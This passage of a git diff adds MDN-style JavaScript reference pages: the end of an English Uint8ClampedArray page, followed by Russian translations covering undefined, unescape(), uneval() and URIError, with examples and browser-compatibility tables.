+ <dt>{{jsxref("TypedArray.filter", "Uint8ClampedArray.prototype.filter()")}}</dt>
+ <dd>Creates a new array with all of the elements of this array for which the provided filtering function returns true. See also {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Uint8ClampedArray.prototype.find()")}}</dt>
+ <dd>Returns the found value in the array, if an element in the array satisfies the provided testing function or <code>undefined</code> if not found. See also {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Uint8ClampedArray.prototype.findIndex()")}}</dt>
+ <dd>Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found. See also {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Uint8ClampedArray.prototype.forEach()")}}</dt>
+ <dd>Calls a function for each element in the array. See also {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Uint8ClampedArray.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Determines whether a typed array includes a certain element, returning <code>true</code> or <code>false</code> as appropriate. See also {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Uint8ClampedArray.prototype.indexOf()")}}</dt>
+ <dd>Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Uint8ClampedArray.prototype.join()")}}</dt>
+ <dd>Joins all elements of an array into a string. See also {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Uint8ClampedArray.prototype.keys()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> that contains the keys for each index in the array. See also {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Uint8ClampedArray.prototype.lastIndexOf()")}}</dt>
+ <dd>Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Uint8ClampedArray.prototype.map()")}}</dt>
+ <dd>Creates a new array with the results of calling a provided function on every element in this array. See also {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Uint8ClampedArray.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Former non-standard version of {{jsxref("TypedArray.copyWithin", "Uint8ClampedArray.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Uint8ClampedArray.prototype.reduce()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Uint8ClampedArray.prototype.reduceRight()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Uint8ClampedArray.prototype.reverse()")}}</dt>
+ <dd>Reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. See also {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Uint8ClampedArray.prototype.set()")}}</dt>
+ <dd>Stores multiple values in the typed array, reading input values from a specified array.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Uint8ClampedArray.prototype.slice()")}}</dt>
+ <dd>Extracts a section of an array and returns a new array. See also {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Uint8ClampedArray.prototype.some()")}}</dt>
+ <dd>Returns true if at least one element in this array satisfies the provided testing function. See also {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Uint8ClampedArray.prototype.sort()")}}</dt>
+ <dd>Sorts the elements of an array in place and returns the array. See also {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Uint8ClampedArray.prototype.subarray()")}}</dt>
+ <dd>Returns a new <code>Uint8ClampedArray</code> from the given start and end element index.</dd>
+ <dt>{{jsxref("TypedArray.values", "Uint8ClampedArray.prototype.values()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array. See also {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Uint8ClampedArray.prototype.toLocaleString()")}}</dt>
+ <dd>Returns a localized string representing the array and its elements. See also {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Uint8ClampedArray.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the array and its elements. See also {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Uint8ClampedArray.prototype[@@iterator]()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">// From a length
+var uintc8 = new Uint8ClampedArray(2);
+uintc8[0] = 42;
+uintc8[1] = 1337;
+console.log(uintc8[0]); // 42
+console.log(uintc8[1]); // 255 (clamped)
+console.log(uintc8.length); // 2
+console.log(uintc8.BYTES_PER_ELEMENT); // 1
+
+// From an array
+var arr = new Uint8ClampedArray([21,31]);
+console.log(arr[1]); // 31
+
+// From another TypedArray
+var x = new Uint8ClampedArray([21, 31]);
+var y = new Uint8ClampedArray(x);
+console.log(y[0]); // 21
+
+// From an ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Uint8ClampedArray(buffer, 1, 4);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Superseded by ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition in an ECMA standard. Specified that <code>new</code> is required.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>7.0</td>
+   <td>{{ CompatGeckoDesktop(2) }}</td>
+   <td>11 (as of <a href="https://support.microsoft.com/en-us/kb/2929437">KB2929437</a>)</td>
+   <td>11.6</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td><code>new</code> is required</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop(44) }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile(2) }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11.6</td>
+   <td>4.2</td>
+  </tr>
+  <tr>
+   <td><code>new</code> is required</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile(44) }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<p>Starting with ECMAScript 2015 (ES6), <code>Uint8ClampedArray</code> constructors require to be constructed with a {{jsxref("Operators/new", "new")}} operator. Calling a <code>Uint8ClampedArray</code> constructor as a function without <code>new</code>, will throw a {{jsxref("TypeError")}} from now on.</p>
+
+<pre class="brush: js example-bad">var dv = Uint8ClampedArray([1, 2, 3]);
+// TypeError: calling a builtin Uint8ClampedArray constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Uint8ClampedArray([1, 2, 3]);</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/undefined/index.html b/files/ru/web/javascript/reference/global_objects/undefined/index.html
new file mode 100644
index 0000000000..adb250f4f8
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/undefined/index.html
@@ -0,0 +1,143 @@
+---
+title: undefined
+slug: Web/JavaScript/Reference/Global_Objects/undefined
+tags:
+  - JavaScript
+  - NeedsUpdate
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/undefined
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Значение глобального свойства <code><strong>undefined</strong></code> представляет значение <code>{{Glossary("Undefined", "undefined")}}</code>. Это одно из {{Glossary("Primitive", "примитивных значений")}} JavaScript.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<div></div>
+
+<p>{{EmbedInteractiveExample("pages/js/globalprops-undefined.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>undefined</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p><code>undefined</code> является свойством <em>глобального объекта</em>, то есть, это переменная в глобальной области видимости. Начальным значением <code>undefined</code> является примитивное значение <code>undefined</code>.</p>
+
+<p>В современных браузерах (JavaScript 1.8.5 / Firefox 4+), <code>undefined</code> является ненастраиваемым и незаписываемым свойством, в соответствии со спецификацией ECMAScript 5. Даже когда это не так, избегайте его переопределения.</p>
+
+<p>Переменная, не имеющая присвоенного значения, обладает типом <code>undefined</code>. Также <code>undefined</code> возвращают метод или инструкция, если переменная, участвующая в вычислениях, не имеет присвоенного значения. Функция возвращает <code>undefined</code>, если она не {{jsxref("Statements/return", "возвращает", "", 1)}} какого-либо значения.</p>
+
+<p>Поскольку <code>undefined</code> не является {{jsxref("Reserved_Words", "зарезервированным словом", "", 1)}}, он может использоваться в качестве <a href="/ru/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Variables">идентификатора</a> (имени переменной) в любой области видимости, за исключением глобальной.</p>
+
+<pre class="brush: js">// печатает 'foo string'
+(function(){ var undefined = 'foo'; console.log(undefined, typeof undefined); })();
+
+// печатает 'foo string'
+(function(undefined){ console.log(undefined, typeof undefined); })('foo');
+</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Strict_equality_and_undefined" name="Strict_equality_and_undefined">Пример: строгое сравнение и <code>undefined</code></h3>
+
+<p>Вы можете использовать <code>undefined</code> и операторы строгого равенства или неравенства для определения того, имеет ли переменная значение. В следующем коде переменная <code>x</code> не определена и инструкция <code>if</code> вычисляется в <code>true</code>.</p>
+
+<pre class="brush: js">var x;
+if (x === undefined) {
+  // эти инструкции будут выполнены
+}
+else {
+  // эти инструкции не будут выполнены
+}
+</pre>
+
+<div class="note">
+<p><strong>Обратите внимание:</strong> здесь используется оператор строгого равенства (идентичности) вместо простого оператора равенства, поскольку <code>x == undefined</code> также проверяет, является ли <code>x</code> равным <code>null</code>, в то время как оператор идентичности этого не делает. {{jsxref("Global_Objects/null", "null")}} не эквивалентен <code>undefined</code>. Для более подробной информации смотрите {{jsxref("Operators/Comparison_Operators", "операторы сравнения", "", 1)}}.</p>
+</div>
+
+<h3 id="Typeof_operator_and_undefined" name="Typeof_operator_and_undefined">Пример: оператор <code>typeof</code> и <code>undefined</code></h3>
+
+<p>В качестве альтернативы можно использовать оператор {{jsxref("Operators/typeof", "typeof")}}:</p>
+
+<pre class="brush: js">var x;
+if (typeof x === 'undefined') {
+  // эти инструкции будут выполнены
+}
+</pre>
+
+<p>Одной из причин использования оператора {{jsxref("Operators/typeof", "typeof")}} может быть та, что он не выбрасывает ошибку, если переменная не была определена.</p>
+
+<pre class="brush: js">// переменная x не была определена ранее
+if (typeof x === 'undefined') { // вычислится в true без ошибок
+  // эти инструкции будут выполнены
+}
+
+if (x === undefined) { // выкинет ReferenceError
+
+}
+</pre>
+
+<p>Однако, уловки такого рода должны избегаться. JavaScript является языком со статической областью видимости, так что узнать, была ли переменная определена, можно путём просмотра, была ли она определена в охватывающем контексте. Единственным исключением являет глобальная область видимости, но глобальная область видимости привязана к глобальному объекту, так что проверка существования переменной в глобальном контексте может быть осуществлена путём проверки существования свойства <em>глобального объекта</em> (например, используя оператор {{jsxref("Operators/in", "in")}}).</p>
+
+<h3 id="Void_operator_and_undefined" name="Void_operator_and_undefined">Пример: оператор <code>void</code> и <code>undefined</code></h3>
+
+<p>Третьей альтернативой является оператор {{jsxref("Operators/void", "void")}}.</p>
+
+<pre class="brush: js">var x;
+if (x === void 0) {
+  // эти инструкции будут выполнены
+}
+
+// переменная y не была определена ранее
+if (y === void 0) {
+  // выкинет ReferenceError (в отличие от оператора `typeof`)
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.1.3', 'undefined')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-undefined', 'undefined')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.undefined")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/NaN", "NaN")}}</li>
+ <li>{{jsxref("Global_Objects/null", "null")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/unescape/index.html b/files/ru/web/javascript/reference/global_objects/unescape/index.html
new file mode 100644
index 0000000000..503782b5d0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/unescape/index.html
@@ -0,0 +1,126 @@
+---
+title: unescape()
+slug: Web/JavaScript/Reference/Global_Objects/unescape
+translation_of: Web/JavaScript/Reference/Global_Objects/unescape
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}} {{deprecated_header()}}</div>
+</div>
+</div>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Устаревший метод <code><strong>unescape(str)</strong></code> создает новую строку в которой шестнадцатиричная последовательность симоволов вида %xx заменяется эквивалентами из кодировки ASCII. Знаки, закодированные в формате %uxxxx (знаки Юникода), заменяются знаками Юникода в шестнадцатеричной кодировке xxxx.</p>
+
+<p>Последовательность может быть результатом работы функции вроде {{jsxref("Global_Objects/escape", "escape")}}. Т.к. {{jsxref("Global_Objects/decodeURIComponent", "unescape")}} является устаревшей, используйте {{jsxref("Global_Objects/decodeURI", "decodeURI")}} или {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} вместо неё.</p>
+
+<div class="note"><strong>Обратите внимание:</strong> Не рекомендуется использовать <code>unescape</code> чтобы декодировать URI, используйте <code>decodeURI</code> вместо него.</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>unescape(str)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>Строка которую необходимо преобразовать</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p><code>Функция unescape</code> это свойство <em>глабального объекта</em>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">unescape("abc123");     // "abc123"
+unescape("%E4%F6%FC");  // "äöü"
+unescape("%u0107");     // "ć"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Начальное определние.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.2', 'unescape')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Определено в (информативно) Compatibility Annex B</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-unescape-string', 'unescape')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Определено в (нормативно) Annex B for Additional ECMAScript Features for Web Browsers</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">Смотрите так же</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/decodeURI", "decodeURI")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/uneval/index.html b/files/ru/web/javascript/reference/global_objects/uneval/index.html
new file mode 100644
index 0000000000..21cd4e9958
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/uneval/index.html
@@ -0,0 +1,73 @@
+---
+title: uneval()
+slug: Web/JavaScript/Reference/Global_Objects/uneval
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/uneval
+---
+<p>{{jsSidebar("Objects")}}{{Non-standard_header}}</p>
+
+<div><strong style="font-size: 2.14285714285714rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Сводка</strong></div>
+
+<p><code style="font-style: normal; line-height: 1.5;"><strong>uneval()</strong></code><span style="line-height: 1.5;"> метод создает строковое представление исходного кода объекта.</span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">uneval(object)</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>JavaScript-выражение или оператор.</dd>
+</dl>
+
+<div class="note"><strong>Примечание:</strong> Вы не получите корректное JSON-представление объекта.</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p><code>uneval()</code> является функцией высшего порядка и не связана с любым объектом.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:js">var a = 1;
+uneval(a); // возвращает строку, содержащую 1
+
+var b = "1";
+uneval(b) // возвращает строку, содержащую "1"
+
+uneval(function foo(){}); // возвращает "(function foo(){})"
+
+
+var a = uneval(function foo(){return 'привет'});
+var foo = eval(a);
+foo(); // возвращает "привет"
+</pre>
+
+<h2 id="See_also" name="See_also">Технические характеристики</h2>
+
+<p>Не является частью какой-либо спецификации.</p>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.uneval")}}</p>
+
+<p> </p>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="See_Also" name="See_Also">См. также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/eval", "eval()")}}</li>
+ <li>{{jsxref("JSON.stringify")}}</li>
+ <li>{{jsxref("JSON.parse")}}</li>
+ <li>{{jsxref("Object.toSource")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/urierror/index.html b/files/ru/web/javascript/reference/global_objects/urierror/index.html
new file mode 100644
index 0000000000..c93ab67453
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/urierror/index.html
@@ -0,0 +1,163 @@
+---
+title: URIError
+slug: Web/JavaScript/Reference/Global_Objects/URIError
+tags:
+  - Error
+  - JavaScript
+  - Object
+  - Reference
+  - URIError
+translation_of: Web/JavaScript/Reference/Global_Objects/URIError
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Объект <code><strong>URIError</strong></code> представляет ошибку, возникающую при неправильном использовании глобальных функций обработки URI.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>new URIError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Необязательный параметр. Человеко-читаемое описание ошибки.</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>Необязательный параметр. Имя файла, содержащего код, вызвавший исключение.</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>Необязательный параметр. Номер строки кода, вызвавшей исключение.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Исключение <code>URIError</code> выбрасывается при передаче некорректного URI в глобальные функции обработки URI.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt>{{jsxref("URIError.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства в объект <code>URIError</code>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<p>Глобальный объект <code>URIError</code> не содержит собственных методов, однако, он наследует некоторые методы из цепочки прототипов.</p>
+
+<h2 id="URIError_instances" name="URIError_instances">Экземпляры объекта <code>URIError</code></h2>
+
+<h3 id="Properties_of_URIError_instances" name="Properties_of_URIError_instances">Свойства</h3>
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/URIError/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_of_URIError_instances" name="Methods_of_URIError_instances">Методы</h3>
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/URIError/prototype', 'Methods')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Catch_an_URIError" name="Example:_Catch_an_URIError">Пример: перехват исключения <code>URIError</code></h3>
+<pre class="brush: js">try {
+  decodeURIComponent('%');
+} catch (e) {
+  console.log(e instanceof URIError); // true
+  console.log(e.message);             // "malformed URI sequence" - неверный формат последовательности URI
+  console.log(e.name);                // "URIError"
+  console.log(e.fileName);            // "Scratchpad/1"
+  console.log(e.lineNumber);          // 2
+  console.log(e.columnNumber);        // 2
+  console.log(e.stack);               // "@Scratchpad/2:2:3\n"
+}
+</pre>
+
+<h3 id="Example:_Create_an_URIError" name="Example:_Create_an_URIError">Пример: возбуждение исключения <code>URIError</code></h3>
+<pre class="brush: js">try {
+  throw new URIError('Привет', 'someFile.js', 10);
+} catch (e) {
+  console.log(e instanceof URIError); // true
+  console.log(e.message);             // "Привет"
+  console.log(e.name);                // "URIError"
+  console.log(e.fileName);            // "someFile.js"
+  console.log(e.lineNumber);          // 10
+  console.log(e.columnNumber);        // 0
+  console.log(e.stack);               // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.6', 'URIError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-urierror', 'URIError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("URIError.prototype")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/urierror/prototype/index.html b/files/ru/web/javascript/reference/global_objects/urierror/prototype/index.html
new file mode 100644
index 0000000000..5e149071db
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/urierror/prototype/index.html
@@ -0,0 +1,122 @@
+---
+title: URIError.prototype
+slug: Web/JavaScript/Reference/Global_Objects/URIError/prototype
+tags:
+  - Error
+  - JavaScript
+  - Property
+  - Prototype
+  - URIError
+translation_of: Web/JavaScript/Reference/Global_Objects/URIError
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <code><strong>URIError.prototype</strong></code> представляет прототип конструктора объекта {{jsxref("URIError")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
